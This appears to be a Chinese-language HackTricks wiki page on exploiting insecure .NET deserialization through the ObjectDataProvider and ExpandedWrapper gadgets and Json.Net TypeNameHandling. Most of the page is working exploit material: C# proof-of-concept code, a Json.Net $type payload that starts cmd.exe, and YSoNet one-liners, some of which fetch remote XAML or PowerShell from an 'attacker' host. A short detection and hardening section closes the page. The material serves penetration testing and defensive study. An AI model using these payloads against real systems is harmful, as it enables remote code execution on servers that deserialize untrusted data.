mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
233 lines
12 KiB
Markdown
233 lines
12 KiB
Markdown
# Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
本文旨在**理解如何利用 ObjectDataProvider 小工具** 来获得 RCE,以及**如何**利用该小工具**Json.Net 和 xmlSerializer**进行滥用。
|
||
|
||
## ObjectDataProvider 小工具
|
||
|
||
根据文档:_ObjectDataProvider 类封装并创建一个可以用作绑定源的对象。_\
|
||
是的,这个解释有点奇怪,让我们看看这个类有什么有趣的地方:这个类允许**封装任意对象**,使用 _**MethodParameters**_ 来**设置任意参数,**然后**使用 MethodName 调用任意函数**,该函数是使用任意参数声明的任意对象。\
|
||
因此,任意**对象**将在**反序列化**时**执行**一个带有**参数的** **函数**。
|
||
|
||
### **这怎么可能**
|
||
|
||
**System.Windows.Data** 命名空间在 `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF` 的 **PresentationFramework.dll** 中定义和实现了 ObjectDataProvider。
|
||
|
||
使用 [**dnSpy**](https://github.com/0xd4d/dnSpy) 你可以**检查**我们感兴趣的类的代码。在下面的图像中,我们看到 **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> 方法名称** 的代码。
|
||
|
||
.png>)
|
||
|
||
如你所见,当 `MethodName` 被设置时,调用了 `base.Refresh()`,让我们看看它的作用:
|
||
|
||
.png>)
|
||
|
||
好的,让我们继续看看 `this.BeginQuery()` 的作用。`BeginQuery` 被 `ObjectDataProvider` 重写,以下是它的作用:
|
||
|
||
.png>)
|
||
|
||
请注意,在代码的末尾调用了 `this.QueryWorke(null)`。让我们看看它执行了什么:
|
||
|
||
.png>)
|
||
|
||
请注意,这不是 `QueryWorker` 函数的完整代码,但它显示了有趣的部分:代码**调用 `this.InvokeMethodOnInstance(out ex);`** 这是**方法集被调用**的那一行。
|
||
|
||
如果你想检查仅设置 _**MethodName**_** 就会被执行**,你可以运行以下代码:
|
||
```java
|
||
using System.Windows.Data;
|
||
using System.Diagnostics;
|
||
|
||
namespace ODPCustomSerialExample
|
||
{
|
||
class Program
|
||
{
|
||
static void Main(string[] args)
|
||
{
|
||
ObjectDataProvider myODP = new ObjectDataProvider();
|
||
myODP.ObjectType = typeof(Process);
|
||
myODP.MethodParameters.Add("cmd.exe");
|
||
myODP.MethodParameters.Add("/c calc.exe");
|
||
myODP.MethodName = "Start";
|
||
}
|
||
}
|
||
}
|
||
```
|
||
注意,您需要添加作为引用 _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ 以加载 `System.Windows.Data`
|
||
|
||
## ExpandedWrapper
|
||
|
||
使用之前的漏洞,将会有一些情况**对象**将被**反序列化为**一个 _**ObjectDataProvider**_ 实例(例如在 DotNetNuke 漏洞中,使用 XmlSerializer,对象是通过 `GetType` 反序列化的)。然后,将对包装在 _ObjectDataProvider_ 实例中的对象类型**没有任何了解**(例如 `Process`)。您可以在这里找到更多关于 DotNetNuke 漏洞的 [信息](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1)。
|
||
|
||
这个类允许**指定封装在**给定实例中的对象的对象类型。因此,这个类可以用来将源对象 (_ObjectDataProvider_) 封装到一个新的对象类型中,并提供我们需要的属性 (_ObjectDataProvider.MethodName_ 和 _ObjectDataProvider.MethodParameters_)。\
|
||
这在之前呈现的案例中非常有用,因为我们将能够**将 \_ObjectDataProvider**_** 包装在一个 **_**ExpandedWrapper** \_ 实例中,并且**在反序列化时**,这个类将**创建** _**OjectDataProvider**_ 对象,该对象将**执行**在 _**MethodName**_ 中指示的**函数**。
|
||
|
||
您可以使用以下代码检查这个包装器:
|
||
```java
|
||
using System.Windows.Data;
|
||
using System.Diagnostics;
|
||
using System.Data.Services.Internal;
|
||
|
||
namespace ODPCustomSerialExample
|
||
{
|
||
class Program
|
||
{
|
||
static void Main(string[] args)
|
||
{
|
||
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
|
||
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
|
||
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
|
||
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
|
||
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
|
||
myExpWrap.ProjectedProperty0.MethodName = "Start";
|
||
}
|
||
}
|
||
}
|
||
```
|
||
## Json.Net
|
||
|
||
在[官方网站](https://www.newtonsoft.com/json)上指出,这个库允许**使用Json.NET强大的JSON序列化器序列化和反序列化任何.NET对象**。因此,如果我们能够**反序列化ObjectDataProvider小工具**,我们就可以仅通过反序列化一个对象来导致**RCE**。
|
||
|
||
### Json.Net 示例
|
||
|
||
首先,让我们看一个如何使用这个库**序列化/反序列化**对象的示例:
|
||
```java
|
||
using System;
|
||
using Newtonsoft.Json;
|
||
using System.Diagnostics;
|
||
using System.Collections.Generic;
|
||
|
||
namespace DeserializationTests
|
||
{
|
||
public class Account
|
||
{
|
||
public string Email { get; set; }
|
||
public bool Active { get; set; }
|
||
public DateTime CreatedDate { get; set; }
|
||
public IList<string> Roles { get; set; }
|
||
}
|
||
class Program
|
||
{
|
||
static void Main(string[] args)
|
||
{
|
||
Account account = new Account
|
||
{
|
||
Email = "james@example.com",
|
||
Active = true,
|
||
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
|
||
Roles = new List<string>
|
||
{
|
||
"User",
|
||
"Admin"
|
||
}
|
||
};
|
||
//Serialize the object and print it
|
||
string json = JsonConvert.SerializeObject(account);
|
||
Console.WriteLine(json);
|
||
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}
|
||
|
||
//Deserialize it
|
||
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
|
||
Console.WriteLine(desaccount.Email);
|
||
}
|
||
}
|
||
}
|
||
```
|
||
### 滥用 Json.Net
|
||
|
||
使用 [ysoserial.net](https://github.com/pwntester/ysoserial.net) 我创建了这个漏洞:
|
||
```java
|
||
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
|
||
{
|
||
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
|
||
'MethodName':'Start',
|
||
'MethodParameters':{
|
||
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
|
||
'$values':['cmd', '/c calc.exe']
|
||
},
|
||
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
|
||
}
|
||
```
|
||
在这段代码中,你可以**测试漏洞**,只需运行它,你将看到一个计算器被执行:
|
||
```java
|
||
using System;
|
||
using System.Text;
|
||
using Newtonsoft.Json;
|
||
|
||
namespace DeserializationTests
|
||
{
|
||
class Program
|
||
{
|
||
static void Main(string[] args)
|
||
{
|
||
//Declare exploit
|
||
string userdata = @"{
|
||
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
|
||
'MethodName':'Start',
|
||
'MethodParameters':{
|
||
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
|
||
'$values':['cmd', '/c calc.exe']
|
||
},
|
||
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
|
||
}";
|
||
//Exploit to base64
|
||
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));
|
||
|
||
//Get data from base64
|
||
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
|
||
//Deserialize data
|
||
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
|
||
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
|
||
{
|
||
TypeNameHandling = TypeNameHandling.Auto
|
||
});
|
||
}
|
||
}
|
||
}
|
||
```
|
||
## 高级 .NET Gadget 链 (YSoNet & ysoserial.net)
|
||
|
||
上面介绍的 ObjectDataProvider + ExpandedWrapper 技术只是许多可以在应用程序执行 **不安全的 .NET 反序列化** 时被滥用的 gadget 链之一。现代红队工具如 **[YSoNet](https://github.com/irsdl/ysonet)**(以及较旧的 [ysoserial.net](https://github.com/pwntester/ysoserial.net))自动化创建 **现成的恶意对象图**,适用于数十种 gadget 和序列化格式。
|
||
|
||
以下是与 *YSoNet* 一起提供的最有用链的简要参考,以及它们的工作原理和生成有效负载的示例命令的快速说明。
|
||
|
||
| Gadget Chain | 关键思想 / 原语 | 常见序列化器 | YSoNet 一行命令 |
|
||
|--------------|------------------|----------------|------------------|
|
||
| **TypeConfuseDelegate** | 损坏 `DelegateSerializationHolder` 记录,以便一旦实现,委托指向 *任何* 攻击者提供的方法(例如 `Process.Start`) | `BinaryFormatter`,`SoapFormatter`,`NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
|
||
| **ActivitySurrogateSelector** | 滥用 `System.Workflow.ComponentModel.ActivitySurrogateSelector` 来 *绕过 .NET ≥4.8 类型过滤* 并直接调用提供类的 **构造函数** 或 **动态编译** C# 文件 | `BinaryFormatter`,`NetDataContractSerializer`,`LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
|
||
| **DataSetOldBehaviour** | 利用 `System.Data.DataSet` 的 **遗留 XML** 表示,通过填充 `<ColumnMapping>` / `<DataType>` 字段来实例化任意类型(可选地使用 `--spoofedAssembly` 伪造程序集) | `LosFormatter`,`BinaryFormatter`,`XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
|
||
| **GetterCompilerResults** | 在启用 WPF 的运行时(> .NET 5)中链式调用属性获取器,直到到达 `System.CodeDom.Compiler.CompilerResults`,然后 *编译* 或 *加载* 通过 `-c` 提供的 DLL | `Json.NET` 无类型,`MessagePack` 无类型 | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
|
||
| **ObjectDataProvider** (复习) | 使用 WPF `System.Windows.Data.ObjectDataProvider` 调用带有受控参数的任意静态方法。YSoNet 添加了一个方便的 `--xamlurl` 变体,以远程托管恶意 XAML | `BinaryFormatter`,`Json.NET`,`XAML`,*等* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
|
||
| **PSObject (CVE-2017-8565)** | 将 `ScriptBlock` 嵌入 `System.Management.Automation.PSObject` 中,当 PowerShell 反序列化该对象时执行 | PowerShell 远程,`BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
|
||
|
||
> [!TIP]
|
||
> 所有有效负载默认 **写入 *stdout***,使其轻松地通过管道传输到其他工具(例如 ViewState 生成器、base64 编码器、HTTP 客户端)。
|
||
|
||
### 构建 / 安装 YSoNet
|
||
|
||
如果在 *Actions ➜ Artifacts* / *Releases* 下没有可用的预编译二进制文件,以下 **PowerShell** 一行命令将设置构建环境,克隆存储库并以 *Release* 模式编译所有内容:
|
||
```powershell
|
||
Set-ExecutionPolicy Bypass -Scope Process -Force;
|
||
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
|
||
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
|
||
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;
|
||
|
||
git clone https://github.com/irsdl/ysonet
|
||
cd ysonet
|
||
nuget restore ysonet.sln
|
||
msbuild ysonet.sln -p:Configuration=Release
|
||
```
|
||
编译后的 `ysonet.exe` 可以在 `ysonet/bin/Release/` 下找到。
|
||
|
||
### 检测与加固
|
||
* **检测** `w3wp.exe`、`PowerShell.exe` 或任何反序列化用户提供数据的意外子进程(例如 `MessagePack`、`Json.NET`)。
|
||
* 启用并 **强制类型过滤**(`TypeFilterLevel` = *Full*,自定义 `SurrogateSelector`,`SerializationBinder`,*等*)每当无法移除遗留的 `BinaryFormatter` / `NetDataContractSerializer` 时。
|
||
* 在可能的情况下迁移到 **`System.Text.Json`** 或 **`DataContractJsonSerializer`**,并使用基于白名单的转换器。
|
||
* 阻止危险的 WPF 程序集(`PresentationFramework`、`System.Workflow.*`)在不需要它们的 Web 进程中加载。
|
||
|
||
## 参考文献
|
||
- [YSoNet – .NET 反序列化有效载荷生成器](https://github.com/irsdl/ysonet)
|
||
- [ysoserial.net – 原始 PoC 工具](https://github.com/pwntester/ysoserial.net)
|
||
- [Microsoft – CVE-2017-8565](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-8565)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|